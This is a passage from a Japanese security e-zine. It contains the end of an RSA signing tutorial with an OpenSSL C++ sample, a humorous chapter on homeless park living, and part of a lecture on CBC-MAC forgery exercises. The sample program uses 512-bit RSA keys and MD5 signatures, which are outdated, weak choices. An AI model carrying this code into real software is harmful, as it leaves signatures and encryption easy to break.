暗号文「AbCdEfGhIjK_Spri」を | | 加藤さんの公開鍵「Kpub」で復号化しても | | 鈴木さんの秘密鍵「Spri」で暗号化されたものであるため | | 復号化できない(偽者と判断) | +----------------------------------------------------------+  このように他人に成りすまそうとしても、鈴木さんの秘密鍵で暗号化されたデ ータは加藤さんの公開鍵では復号化できないため、結果的に、送信者が偽者であ ることが分かります。これが署名と検証の仕組みです。  では、実際に署名と検証を行うプログラムを書くことにします。 ■0x04.) 署名検証プログラム(RSA)  OpenSSLを使い、書名と検証を行うプログラムを作成します。OpenSSLについて はWB29の「暗号プログラミング 〜前編〜」を参照してください。 ----- rsatest2.cpp #include #include #include #include #include #pragma comment(lib, "libeay32.lib") #pragma comment(lib, "ssleay32.lib") int hexoutput(char *first_str, unsigned char *data, int len) { int i; printf("%s", first_str); for(i=0; i < len; i++) printf("%02X", data[i]); printf("\n"); return 0; } int tanaka(RSA *myrsa, BIGNUM *Spub_e, BIGNUM *Spub_n, unsigned char *plain, unsigned int plain_len, unsigned char *encrypt, unsigned int *encrypt_len, unsigned char *sigret, unsigned int *sigret_size) { RSA *yoursa; unsigned char hash[16]; yoursa = RSA_new(); BN_hex2bn(&(yoursa->e), BN_bn2hex(Spub_e)); // copy public key e BN_hex2bn(&(yoursa->n), BN_bn2hex(Spub_n)); // copy public key n // encryption by suzuki public key *encrypt_len = RSA_public_encrypt(plain_len, plain, encrypt, yoursa, RSA_PKCS1_OAEP_PADDING); // sign by tanaka private key (MD5 and sign) MD5(plain, plain_len, hash); RSA_sign(NID_md5, hash, 16, sigret, sigret_size, myrsa); // print data hexoutput("ENCRYPT = ", encrypt, *encrypt_len); hexoutput("ENCSIGN = ", sigret, *sigret_size); RSA_free(yoursa); return 0; } int suzuki(RSA *myrsa, BIGNUM *Tpub_e, BIGNUM *Tpub_n, unsigned char *encrypt, unsigned int encrypt_len, unsigned char *decrypt, unsigned int *decrypt_len, unsigned char *sigret, unsigned int sigret_size) { RSA *yoursa; unsigned char hash[16]; yoursa = RSA_new(); BN_hex2bn(&(yoursa->e), BN_bn2hex(Tpub_e)); // copy public key e BN_hex2bn(&(yoursa->n), BN_bn2hex(Tpub_n)); // copy public key n // decryption by suzuki private key *decrypt_len = RSA_private_decrypt(encrypt_len, encrypt, decrypt, myrsa, RSA_PKCS1_OAEP_PADDING); // sign by tanaka public key (MD5 and verify) MD5(decrypt, *decrypt_len, hash); if( ! RSA_verify(NID_md5, hash, 16, sigret, sigret_size, yoursa)){ printf("verify error\n"); return -1; } hexoutput("DECRYPT = ", decrypt, *decrypt_len); RSA_free(yoursa); return 0; } int main(int argc, char *argv[]) { RSA *rsa_t, *rsa_s; unsigned char encryptdata[1024], decryptdata[1024], sign[1024]; unsigned int datalen, encryptlen, decryptlen, signlen; if(argc < 2){ fprintf(stderr, "%s \n", argv[0]); return 1; } datalen = strlen(argv[1]); hexoutput("PLAIN = ", (unsigned char *)argv[1], datalen); // make private key & public key rsa_t = RSA_generate_key(256 * 2, RSA_F4, NULL, NULL); rsa_s = RSA_generate_key(256 * 2, RSA_F4, NULL, NULL); // encrypt and sign by tanaka tanaka(rsa_t, rsa_s->e, rsa_s->n, (unsigned char *)argv[1], datalen, encryptdata, &encryptlen, sign, &signlen); // decrypt and verify by suzuki suzuki(rsa_s, rsa_t->e, rsa_t->n, encryptdata, encryptlen, decryptdata, &decryptlen, sign, signlen); RSA_free(rsa_t); RSA_free(rsa_s); return 0; } ----- ----- コマンドプロンプト C:\>bcc32 -w rsatest2.cpp Borland C++ 5.6.4 for Win32 Copyright (c) 1993, 2002 Borland rsatest2.cpp: Turbo Incremental Link 5.65 Copyright (c) 1997-2002 Borland C:\>rsatest2 AAAA PLAIN = 41414141 ENCRYPT = 530F1153E6C5078B47FCDD737227C1A782D2A878DEA499CF65F086EF046F98522042B1 C6CDE5AFD03346CAA5F4014D73412D280BCA2C3C2A185572FB28487E01 ENCSIGN = 2588A2DF9AA429BEE4A6EEC60E71ACB75FCA1D6A87FF67A89115F2ECC878FD813CE5A9 5DF7862D5E97A82FF1316BC98DD6A192A499B7D34B8F20ECD85A9C9A26 DECRYPT = 41414141 C:\> -----  rsatest2.cppをコンパイルし実行すると、暗号文と署名データが出力されます。 署名データはサイズが16バイトのデータ(MD5ハッシュ値)を秘密鍵で暗号化して いるため、上記のプログラムでは0x80バイトの固定値になります。暗号文は平文 のサイズによって、任意バイト(上記のプログラムでは0x80バイト)ごとに大き くなるため、平文のサイズが4バイト(AAAA)の場合は残りの0x7Cバイトがパディ ングされて暗号化されます。  またプログラムでは署名を行うためにRSA_sign関数を検証を行うためにRSA_ve rify関数を使っています。 ----- RSA_sign関数 int RSA_sign( // 戻り値は、成功時1、失敗時0 int type, // ハッシュタイプ unsigned char *m, // ハッシュデータ unsigned int m_len, // ハッシュデータサイズ unsigned char *sigret, // 署名データ格納バッファ unsigned int *siglen, // 署名データサイズ格納バッファ RSA *rsa // 秘密鍵(RSA構造体) ); ----- ----- RSA_verify関数 int RSA_verify( // 戻り値は、成功時1、失敗時0 int type, // ハッシュタイプ unsigned char *m, // ハッシュデータ unsigned int m_len, // ハッシュデータサイズ unsigned char *sigbuf, // 署名データ unsigned int siglen, // 署名データサイズ RSA *rsa // 公開鍵(RSA構造体) ); -----  typeにはハッシュタイプを指定します。これはNID_sha1、NID_ripemd160、NID _md5辺りから選択します。そしてここで指定したアルゴリズムを用いて計算した ハッシュ値を次の引数であるmに渡します。上記のプログラムではMD5を使用した ため、typeをNID_md5とし、mに16バイトのMD5ハッシュ値を入れています。  あとは署名データ格納バッファと秘密鍵、もしくは署名データと公開鍵を入れ て、署名や検証を行います。検証の成功はRSA_verify関数の戻り値で確認します。 検証が成功したら1、何かしらのエラーで失敗したら0が返ります。  OpenSSLを使えば、基本的な暗号知識だけで本格的な暗号プログラミングを行う ことができます。ぜひ活用してみてください。 ■0x05.) 署名と検証を行うための条件  ここでもう一度、検証について考えてみます。検証を行うためには相手の公開 鍵が必要であることはわかりました。よって検証を行うためにはどこかから相手 の公開鍵を手に入れなければなりません。もちろん通信の相手からもらってもよ いですし、知り合いからもらってもよいのですが、ここでひとつの問題が発生し ます。それは「あなたが持っている公開鍵は本当に相手の公開鍵なのか?」とい うことです。  もう一度、署名と検証の流れを示します。 +-- 鈴木さん ----------------------------------------------+ | 田中さんの公開鍵「Tpub」で、平文「私は加藤です」を暗号化 | | 暗号文「A.A.A.A.A.」を作成 | | 平文「私は加藤です」のハッシュ値「AbCdEfGhIjK」を得る | | 鈴木さん秘密鍵「Spri」で、「AbCdEfGhIjK」を暗号化 | | 暗号文「AbCdEfGhIjK_Spri」を得る | | 暗号文「A.A.A.A.A.」と暗号文「AbCdEfGhIjK_Spri」を送信 | +----------------------------------------------------------+ ↓ 暗号文「A.A.A.A.A.」「AbCdEfGhIjK_Spri」 +-- 田中さん ----------------------------------------------+ | 田中さんの秘密鍵「Tpri」で、暗号文「A.A.A.A.A.」を復号化 | | 平文「私は加藤です」を得る | | 平文「私は加藤です」のハッシュ値「AbCdEfGhIjK」を得る | | 暗号文「AbCdEfGhIjK_Spri」を | | 加藤さんの公開鍵「Kpub」で復号化しても | | 鈴木さんの秘密鍵「Spri」で暗号化されたものであるため | | 復号化できない(偽者と判断) | +----------------------------------------------------------+  この署名と検証という仕組みでもっとも重要なことは、田中さんが持っている 「加藤さんの公開鍵」が必ず「加藤さんの公開鍵」でなければならないというこ とです。これがもし鈴木さんの公開鍵であったなら、残念ながら検証は成功して しまいます。  いやいや、「加藤さんの公開鍵」と書かれてあるから、加藤さんの公開鍵なん じゃないの? と思われるかもしません。しかし田中さんが持っている「加藤さ んの公開鍵」が本当に「加藤さんの公開鍵」であるかどうかは、実は誰にも保証 できません。もしかしたら「これは加藤さんの公開鍵だよ」といわれて、鈴木さ んの公開鍵を渡されているかもしれません。つまり「公開鍵の受け渡しの時点で すでに相手が偽者であった場合」は、検証で偽者だと判断することはできなくな ります。よって署名と検証を行う場合は、前提条件として次の2つのことが成り立 っている必要があります。 ・田中さんの公開鍵を鈴木さんが持っていることが証明されている ・鈴木さんの公開鍵を田中さんが持っていることが証明されている  この2つが成り立っていれば仮に誰かが他人に成りすましたとしても、検証を行 うことで、偽者であることを確認できます。しかしこの2つのどちらかが成り立っ ていなければ、残念ながら署名と検証はあまり意味をなしません。  では、どうやってこの2つの条件をクリアするのでしょうか? その答えとなる のが認証局の存在です。 ■0x06.) 認証局  認証局とは、簡単にいうと「どの公開鍵が誰のものであるか?」を管理してく れるシステムです。そして認証局は「電子証明書」という、いかにも堅苦しいデ ータを発行してくれます。その電子証明書には「登録された公開鍵」「その公開 鍵の持ち主の情報」「発行元の認証局の情報」「発行元の認証局の署名」といっ たものが記述されています。  つまり認証局が発行した電子証明書には、「公開鍵」と「誰の公開鍵であるか」 ということが正確に記述されており、ここ(認証局)から取得した公開鍵は「基 本的に」誰のものであるかが証明されていると考えることができます。これによ って「田中さんの公開鍵を鈴木さんが持っていること」、そして「鈴木さんの公 開鍵を田中さんが持っていること」を証明することができるわけです。  ただ、実は電子証明書は誰でも発行することができます。とてもお手軽です( ぉぃ。なので、認証局自身も発行する電子証明書に対して署名を行っています。 それが電子証明書に書かれてある「発行元の認証局の署名」です。  ということは、この電子証明書に対して検証を行わなければならないわけです が、検証には公開鍵が当然必要です。よって認証局が発行した電子証明書を検証 するために「認証局の公開鍵」を入手しなければなりません。では、この「認証 局の公開鍵」はいったい誰が発行しているのかというと、さらに上位の認証局が 存在し、その上位の認証局が発行していたりします。じゃあ、その上位の認証局 が発行する電子証明書を検証するためにはどうするのかというと、さらにさらに 上位の認証局が発行する公開鍵を手に入れて…、ではさらにさらに上位の認証局 が発行する電子証明書を検証するためには……、さらにさらにさらに上位の…… …、以後無限ループ。  しかし無限ループさせるわけにはいかないので、どこかで認証局自身が公開鍵 を発行することになります。結局、認証局の公開鍵は「上位の認証局」もしくは 「その認証局自身」が発行することになります。  実のところ私は認証局や公開鍵の信頼性関連の話題について、あまり詳しくあ りません。というか、ほぼ知りません(^^;。ただ、まぁプログラマなら、認証局 というのがあって、そこが公開鍵の信頼性を保っているのだろうというくらいの 認識で良いかと思います(ホントか?)。つまり結局のところ、認証局というあ る程度信頼できるシステムから受け取った電子証明書(公開鍵)を、信頼できる ものと考えて、暗号通信に使用するということだと思います。  この辺りに関連して、金床さんがWB15にて「SSL Man In The Middle Attack」 という記事を書かれています。こちらはとても興味深い内容なので、ぜひ一読し てみてください。 ■0x07.) さいごに  署名と検証を行うことでデータの改ざんと送信者を保証することができる、と いうのはわかりました。ではWinnyのようなP2Pネットワークにおいて、公開鍵暗 号と署名検証というシステムを利用し、送信者を保証することは可能でしょうか?  署名と認証には相手の公開鍵を自分が持っているという証明が必要です。しか し現在のP2Pネットワークには認証局という概念が存在しないため、接続完了後に 自前で公開鍵を相手に送信する必要があります。しかし公開鍵を送信する時点で その通信を中継している者が公開鍵を変更してしまったら、検証はできません。 つまりWinnyを含めた存続のP2Pソフトは、例え公開鍵暗号で通信したとしても、 暗号アルゴリズムさえ特定されてしまえば、以後は中継者によってその暗号を解 読されてしまうことになります。  ところが、それでもWinnyを始めとする国産のP2Pソフトウェアの多くはプロト コルを非公開とし、通信内容にもある程度の暗号化を施しています。海外のP2Pソ フトウェアの多くがオープンであるのとは対照的に、日本のP2Pソフトウェアは驚 くほど秘匿なネットワークとなっています。  この違いが今後の日本のP2P技術の進化にどう影響するかはわかりませんが、海 外とは異なった方向で独自の進化を進めていけば、また面白いP2Pソフトウェアが 開発されるかもしれません。  というわけで、今回の記事を楽しんでいただけたなら幸いですが、実は私自身 暗号もP2Pも最近勉強し始めたばかりですので、このテキストの内容が間違ってい る可能性があります(^^;。もし間違いを見つけたら、kenji@ruffnex.oc.toか、私 のHPのBBSへ書き込んでもらえると有難いです。  さて、最後になりましたが、ここまで読んでくれて本当にありがとうございま す。  では、また会う日まで... x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第13章: スーパーホームレス入門[住居基礎編] --- 著者:じぷしーまっどいぷろん(=MaD) x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  こんにちわこんにちわこんにちわこんにちわこんにちわこんにちわ!  セクシーアカデミア主催のじぷしーまっどいぷろんじゃ!  “ホームレスの住居”というフレーズを聞くと“ブルーシート”や“段ボール 箱”などが真っ先に頭に浮かぶはずだ。もちろん、これらはホームレス・ユーザ ーにとって邸宅作りのマストアイテムであることは間違いない。しかし筆者のよ うに将来の夢としてプロのスーパーホームレスを目指すヘビーユーザーからする と、ブルーシートは雨除けでは最強の耐久性をもつ素材であるものの、通風性や 透湿性に欠けるため居心地が悪くなる。また段ボール箱は入手は簡単であり、ラ ンニングコストの問題が生じないというアドバンテージはあるものの、水や湿気 に弱いため耐久性に欠ける。どれもが一長一短という性質をもっていることがわ かる。  ホームレスユーザーにとってのベストな環境を真剣に考え、極限まで究明する ならば“アウトドア”や“サバイバル”といったジャンルに行き着くことになる。  これらの世界で利用される道具についての考え方はいずれも目的に応じて絞り 込んだ機能性と場面に応じた耐久性を追及し、さらに持ち運びを前提としている ため、極限までの軽量化が図られている。つまりホームレスの世界にうってつけ のジャンルということになる。むしろホームレスこそ究極のアウトドアであり、 究極のサバイバルだといえる。  そこで筆者のようなプロのスーパーホームレスになるための講座をいくつかの ジャンルに分けて、それぞれ解明してゆくわけだが、まず人が生活するための基 本的な部分を大きく分類すると“衣食住”となり、なかでも「住居」は自分のホ ームグランドとして生活の根幹を担う重要なファクターであるため、第一回は「 住居の基礎知識」をテーマに解説をおこなう。 `Д´  いくぞ!(=`ェ´=) あーゆーれでぃ?  ちゃらららちゃっちゃちゃん♪ ちゃんちゃんちゃっちゃっちゃーん♪ ほー♪  ジェームズブラウン マジ デッド!  ちゃんちゃららちゃららー♪ ちゃんちゃららちゃららー♪  ちゃんちゃんちゃっちゃっちゃーん♪ ほー♪(=`ェ´=)ノ ■0x02.) 住居形態の基礎知識  “ホームレス”にはさまざまな形態がある。ここではホームレスの住居形態に ついて大別しておく。まずホームレスには『固定型』と『移動型』と2種類のタイ プに大別することができる。 ●固定型  河川敷など一般人の住居地区から離れ、管理者の目が届きにくい場所を選び、 そこに住居を設けるタイプである。隅田川河川敷において元大工あがりのホーム レスユーザーが実際に台所やトイレまで完備した木造建築を行い、そこに居着い た例がある。ただしいずれにしても強制撤去される宿命ではある。住居地区から 離れているため、水の確保や食料の買い出しなどに苦労する。 ●移動型  公園や公共スペースなど一般人の住居地区に近い場所を選び、そこに住居を設 けるタイプである。新宿中央公園においてホームレスたちが実際にブルーシート や段ボール箱を用いて強制撤去に対応しながら転々としている例がある。水の確 保や食料の買い出しなどは便利だが、管理者により定期的に強制撤去があるため 移動を強いられるので身軽にしておかなければならない。  このように、それぞれ一長一短があることがわかるはずだ。もちろん高架下や 大きなビルや営業後の店舗前など、そのスタイルは多種多様であるが、いずれも これら2種類のタイプにあてはまるため、これらを理解しておけば問題なく類別で きるはずだ。  当然ながら固定型は移動の不便さがないため邸宅を作るうえで理想に近いスタ イルではあるが、そもそもホームレスの定義として“一般社会から離れ、所有地 をもたず流浪の生活を送る選ばれたエリート”であるため、所有地などあるわけ もない。  そうした意味からすると自分の所有地をもたないため、なんらかの形で管理さ れている公共スペースや他人様の土地などといった敷地内に住み着くことになる。 だがいずれにしても発覚すると不法侵入とみなされ、最終的には強制撤去となる 宿命であることは間違いない。これらを踏まえて考えるならば、最初から移動型 を選択することが賢明だといえる。  これらの理由により、ここからの解説は移動型を中心にして行うことにする。 ■0x03.) 移住の基礎知識  “ホームレス”と聞くと、その居住地として真っ先に思い浮かぶ場所が“公園” になるはずだ。公園といっても、そこらにあるような主婦とクソガキばかりが集 まるような小さな公園ではなく、関東でいうなら新宿中央公園や代々木公園など の“ホームレスコミュニティ”がある公園が基本となる。小さな公園ではコミュ ニティが作りにくいため、単独で住居を構えると目立つうえに若いヤングたちか らの攻撃を受けるといったケースがある。  それらを踏まえると、必然的にコミュニティがあるところに混ざるといった流 れになる。しかしこのコミュニティとなっているところでは「強制撤去」という ものが定期的に行われる。これはよほどの的外れな行為をしないかぎり個人に対 して適用されることはないのだが、一定スパンでコミュニティ全体に対して「一 斉撤去」という措置がとられる。よくある行政のイヤ吉というやつだ。だがこの 一斉撤去は実際的に公園内の移動にしか過ぎない。つまり公園内にA広場、B広場、 C広場といったロケーションがあったとする。強制撤去が行われた場合、毎 回次のようなルーチンワークが行われる。 [1回目の強制撤去]A広場からB広場に移動 [2回目の強制撤去]B広場からC広場に移動 [3回目の強制撤去]C広場からA広場に移動  このように延々と集団移動を繰り返すだけのことである。新宿中央公園で例え てみる。園内に住居を構えての滞在は都の条例により禁止事項のひとつとなって いるが、この明確なラインが見分けにくく、その判断が難しいものとなっている。 そのため公園管理官の顔を立て、一時的に退去を済ませたような振る舞いをして おく。そして直後に敷地内の別の場所に住居を構えるという流れになる。これに より管理官とホームレスとの間にある暗黙の了解として片づいているわけだ。河 川敷や高架下などのコミュニティにおいてもスパンは異なるにせよ同様のことが 行われる。  公園管理官を含め、管轄の警官とホームレスの関係は決して悪いものではない。 地域の細かな情報をホームレスから得ることもしばしばあり、ときには犯人逮捕 のためのネタの提供をすることすらある。つまり公園管理官や管轄の警官を敵に 回さないことこそコミュニティを維持させるための重要なファクターであること は間違いない。 ■0x04.) コミュニティの基礎知識  このようにして作られたコミュニティは管理しなければ、どんどん肥大化して ゆくことなる。肥大化すると、ときには仲間内の喧嘩やコミュニティ内において の暗黙のルールを破る者が出てくることになる。そうした意味で、ある程度の順 応性をもたない者はコミュニティからはじき出される仕組みとなっている。すべ てのホームレスを温かく迎え入れると思ったのであれば、それは大間違いという ことだ。  コミュニティ内においての喧嘩やルール違反により起こる問題は先に示したと おり、公園管理官や管轄の警官が処理しなければならない問題となってしまう。 その後、なにかにつけ公園管理官や管轄の警官からの縛りが厳しいものへと発展 し、結果として住み処を失うことにつながることになりかねない。  そこでそれぞれのコミュニティにおいて“まとめ役”というリーダー的存在が 必要となる。これを通称「テン長」(テンチョウ)と呼び、あらゆる出来事に対 して大きな問題になる前に事を荒立てずに穏便に解決させるためのリーダーとい うことになる。ブルーシートで作られた邸宅の集合体であるテント場(テントバ) をまとめていることからそう呼ばれるようになった。ただし、このように呼ばな い地域もあることを付け加えておく。 ■0x05.) テン長の役割と権力  テン長はコミュニティの運営を左右するほどの大きな影響力をもつ者から、非 力ながら古株という部分だけでなんとかリーダー的存在としての立場を維持して いる者と個体差はある。しかし、いずれにしてもテン長に嫌われるとコミュニテ ィ内に留まることは難しくなるのは確かだ。  テン長には特権がある。ホームレスを対象とした各ジャンルの手配師が建築関 係の仕事、引っ越し屋の仕事、テキ屋の仕事といった短期軽作業の作業者斡旋の ため、まずはテン長に声をかけるという仕来りがある。そういった場面で、テン 長になると恩恵を受けることができる場合が多くある。  そうなると、ある意味“顔役”もしくは“窓口”といった性質をもつことにな る。つまりホームレス・コミュニティ内においてテン長と仲良くしておけば、そ の距離に応じて有利な仕事にありつけるという仕組みとなっている。これにより 必然的にテン長を頂点としたコミュニティ内でのヒエラルキーが形成されること なる。つまり立ち振る舞いがヘタだといつまで経っても冷や飯喰いのままでしか なく、上位に上がれば上がるほどリッチな生活ができるということになる。例え ば新宿中央公園のホームレスの平均月収は3万円から5万円程度が相場である。も ちろん仕事にありつけない者は月収が0円であることはいうまでもない。ただし仕 事にありつきたくてもどうしようもない場合も多々あることも事実だ。そのよう な場合、仲のよい住人から食べ物や煙草など最低限の生活必需品をもらったりと ギブ&テイクでどうにか切り抜けて生活をしているわけだ。  いずれにしてもコミュニティ内のルールを破る者は追放される運命にあるとい うことだ。 ■0x06.) 次回予告  公園には整備された水道があり、トイレがあり、河川敷においても場所さえ選 べば同様の環境となる。さすがに食料はないわけだが、ホームレスユーザーはこ うした条件の場所を選ぶことになる。これは一般社会のキャンプ場であっても同 様の条件である。そうした部分を踏まえて、次回は「住居実践編」として、アウ トドアの世界で用いられているシェルター、ツエルト、テント、ターブなどと比 較しながら、本題である“最強の邸宅作り”を究明してゆく。  よいこのみなさん、よいお年を〜!  さらばじゃ! とぁっ! `Д´ x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第14章: 基礎暗号学講座 〜 第6回 〜 --- 著者:IPUSIRON x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  前回まではブロック暗号の利用モードやFeistal構造などについて解説しました。 今回は共通鍵暗号系の認証について解説します。 ■0x02.) MACとは  MAC(Message Authentication Code)とはメッセージを認証するための仕組み です。敵によるなりすましやメッセージの改ざんを防止することが目的です。メ ッセージ認証は暗号化よりも重要ともいえます。暗号化が必要ない場合であって も、そのメッセージが信頼できるものであることは常に確かめることができなけ ればならないからです。  次回以降で登場する公開鍵暗号系の場合はデジタル署名という仕組みがありま すが、共通鍵暗号系ではそれに対応したセキュリティ機能をMACで実現します。た だしデジタル署名の場合は正真性・認証・否認性をチェックできますが、MACの場 合は正真性・認証しかできません。 ■0x03.) MACの仕組み  MACは2つのアルゴリズムである、鍵生成アルゴリズムGと認証子生成アルゴリズ ムSで表されます(図1、図2参照)。 (図1)http://security2600.sakura.ne.jp/main2/image1/MAC2.jpg (図2)http://security2600.sakura.ne.jp/main2/image1/MAC3.jpg  次にMACの仕組みを示します(図3参照)。 1:送信者と受信者はGで生成された秘密鍵Kを共有しておきます。ここでのセキュ リティパラメータkとはビット長を意味します。  ここは秘密鍵暗号系での暗号化のときと同様に一番最初に必要な準備です。秘 密鍵暗号系の安全性はこの鍵配送に強く依存していますが、MACの場合でも同様で す。 2:次に送信者はKを利用して、メッセージMに対する認証子(MAC値)Tagを生成し て、ペア(M,Tag)を受信者に送ります。 3:受信者は(M,Tag)を受け取ったら、Kを利用して(M,Tag)の正当性をチェックし ます。 (図3)http://security2600.sakura.ne.jp/main2/image1/MAC1.jpg ■0x04.) MACの安全性  受信者がacceptしてしまうような(M,Tag)を敵が生成してしまうことを偽造と呼 びます。一般に鍵Kを求めるよりも、偽造するほうが容易です。  暗号設計者はKを求められないことは当然だが、偽造すら不可能であるようなM ACを構成する必要があります。鍵Kを知らずに検証式を満たすような(M,Tag)を作 れないとき、MACは安全であるといいます。  敵の最も単純な攻撃方法は、送信者が送信した(M,Tag)を何も見ずに偽造を試み ることです。そして最も強力な敵の攻撃方法は、選択メッセージ攻撃があります。 選択メッセージ攻撃とは何らかの方法で複数のメッセージと認証子の組を入手し、 その情報を偽造することです。選択メッセージ攻撃のモデルは、メッセージM1,… ,M_qを自由に選んで、それに対応する認証子を入手できる状況において偽造を試 みると考えることができます(図4参照)。このとき敵がM/∈{M1,…,M_q}である ような(M,Tag)を偽造できたとき、敵は偽造に成功したことになります。 (図4)http://security2600.sakura.ne.jp/main2/image1/MAC4.jpg [定義]~ 敵が偽造できる確率が無視できる程度に小さいとき、そのMAC方式は選択メッセー ジ攻撃に対して安全であるという。 ■0x05.) 各種MAC  MACはブロック暗号を利用して実現できます。WB28/29でも解説しましたが、ブ ロック暗号には様々な利用モードがありました。その中でも安全であったのはCB CモードとCTRモードであり、MACではCBCを用いた方式が使われています。また他 にはいくつか種類があります。 ・CBC-MAC(Cipher Block Chaining-MAC) ・EMAC(Encrypted MAC) ・OMAC(One key MAC) ・UMAC(Universal-hash MAC) ・HMAC(Hash MAC)  本講座ではCBC-MAC・EMAC・OMACだけに絞って解説します。 ■0x06.) CBC-MAC方式  CBC-MAC方式はブロック暗号の利用モードのひとつであるCBCモードを利用して 実現した方式です。  メッセージをM=(m1,m2,…,m_t)として、各iにおいて|m_i|=n(m_iはnビット長 であることを意味する)であるとします。このときCBC-MAC方式は次のように記述 されます。  鍵はブロック暗号の鍵Kとして、認証子生成アルゴリズムは次のように計算しま す。 c1=E_K(m1) c2=E_K(c1+m2) … c_t=E_k(c_(t-1)+m_t)  最後に認証子をTag=c_tとします。図にすると次のようになります(図5参照)。 (図5)http://security2600.sakura.ne.jp/main2/image1/CBC-MAC.jpg ●CBC-MAC方式の安全性  各メッセージの長さtが一定の場合、CBC-MAC方式は選択メッセージ攻撃に対し て安全であることが証明されています。しかし異なる長さのメッセージを許すと き、即ち可変長の場合は簡単に偽造されてしまう。その偽造例を次に示す。  まず敵はnビット長のmに対する認証子Tagを入手したとします。  次にM'=(m,m+Tag)すれば、(M',Tag)というメッセージと認証子のペアでCBC-MA Cの検証式を通過して受信者にacceptさせてしまうことができます。  よって敵は偽造に成功したことになります。 ●練習問題  CBC-MAC方式について次の設問に答えよ。 (1)m∈{0,1}^nに対する認証子がTagであったとする。このときM'=(m,m+Tag)に 対する認証子もTagであることを示せ。  まずCBC-MACの構造を思い出しましょう。  アタッカーがMにm+Tagを付加します。すると受信者は次のように計算するはず です(図6参照)。 (図6)http://security2600.sakura.ne.jp/main2/image1/CBC-MAC2.jpg  Tag'がTagと一致すれば受信者はacceptします。よってTag'=Tagを導くことが目 標となります。 Tag' =c2 =E_K(c1+m+Tag) =E_K(E_K(m) + m + Tag) (∵c1=E_K(m)) =E_K(Tag + m + Tag) (∵仮定より、E_K(m)=Tag) =E_K(m) =Tag (2)M=(m1,m2)に対する認証子がTagであったとする。ただしm1,m2∈{0,1}^nであ る。この情報を利用して偽造せよ。  CBC-MACの構造に仮定を満たすように書き下していきます(図7参照)。 (図7)http://security2600.sakura.ne.jp/main2/image1/CBC-MAC3.jpg  すると次の関係式が成り立ちます。 ・c1=E_K(m) ・Tag=c2=E_K(c1+m2)=E_K(E_K(m1))  このとき敵はM'=(m1,m2,m1+Tag,m2)を偽造すればうまくいきます。これは(1) の結果から推測するわけですが、(2)ではm1とm2の2つあるから少し複雑になっ ています。これが本当に偽造に成功しているかを示す。  M'に対してCBC-MACの仕組みを適用させます(図8参照)。 (図8)http://security2600.sakura.ne.jp/main2/image1/CBC-MAC4.jpg  すると次が成り立ち、最終的にTag'=Tagが示すことができればOKです。 c1' =E_K(m1) =c1 c2' =E_K(c1' + m2) =E_K(c1 + m2) =Tag c3' =E_K(c2' + m1 + Tag) =E_K(Tag + m1 + Tag) =E_K(m1) =c1 Tag' =c4' =E_K(c3' + m2) =E_K(c1 + m2) =Tag (3)ブロック暗号がランダム置換族である場合を考える。M=(m1,m2)に対する認 証子をTag、M'=(m1',m2')に対する認証子をTag'としたとき、Tag=Tag'となる確率 を求めよ。MとM'の関係について場合分けして考えよ。  M,M'それぞれにおいて、2番目の暗号化アルゴリズムE_Kへの入力は次のように なります。 x=m2 + E_K(m1)、x'=m2' + E_K(m1')  よってTag=Tag'となる必要十分条件は次が成り立つときです。 m2 + E_K(m1)=m2' + E_K(m1') E_K(m1) + E_K(m1')=m2 + m2' ←(*)  「E_K(□) + E_K(□)=○ + ○」と見ると、左辺の2つの□は(m1,m1')というペ アの入力、右辺の2つの○は出力を考えることができます。そこで次のように4つ に場合分けします。 |-----------------------| | | 入力 | | |-----------| | | = | ≠ | |-----------+-----+-----| | 出力 | = | [4] | [1] | | |----+-----+-----| | | ≠ | [2] | [3] | |-----------------------| [1]m1≠m1'かつm2=m2'のとき  (*)はE_K(m1) + E_K(m1')=0^nとなる。このときm1≠m1'は起こりえない。よっ てPr[Tag=Tag']=0 [2]m1=m1'かつm2≠m2'のとき  このとき必ずTag≠Tag'となる。よってPr[Tag=Tag']=0 [3]m1≠m1'かつm2≠m2'のとき  次図のように考えて、(*)を満たすパターンの総数を求めます(図9参照)。こ ういう考え方は以前のWBでもやっているので、置換や関数の総数計算が理解でき ない場合は戻って確認してみてください。ポイントは(*)という式に縛られてる状 態での総数ということです。 (図9)http://security2600.sakura.ne.jp/main2/image1/CBC-MAC5.jpg Pr[Tag=Tag'] =Pr[E_K(m1) + E_K(m1')=m2 + m2'] ={(2^n)×1×(2^n-2)!}/(2^n)! =1/(2^n-1) [4]m1=m1'かつm2=m2'のとき Pr[Tag=Tag'] ={2^n×(2^n-1)!}/(2^n)! =(2^n)!/(2^n)! =1  普通に代入してもわかるように(*)は0^n=0^nとなりいつでも成り立つ。 (4)M=(m1,m2)に対する認証子をTag、M'=(m1',m2')に対する認証子をTag'とした とき、Tag=Tag'となる確率が1/2であった。このとき{E_K}は擬似ランダム置換族 でないことを証明せよ。  {0,1}^n上の置換πをオラクルとする識別アルゴリズムDを次のように構成しま す。  DはまずπをCBC-MAC方式の暗号アルゴリズムとして利用して、Mに対する認証子 Tag、M'に対する認証子Tag'を求めます。このときTag=Tag'ならD^π=1、Tag≠Ta g'ならD^π=0とします(図10参照)。 (図10)http://security2600.sakura.ne.jp/main2/image1/CBC-MAC6.jpg  このときπが{E_K}からランダムに選ばれていると仮定すると、次のようになり ます。 P_random=Pr[Tag=Tag']=1/2  一方πがランダム置換族P_nからランダムに選ばれているときは、(3)の結果よ 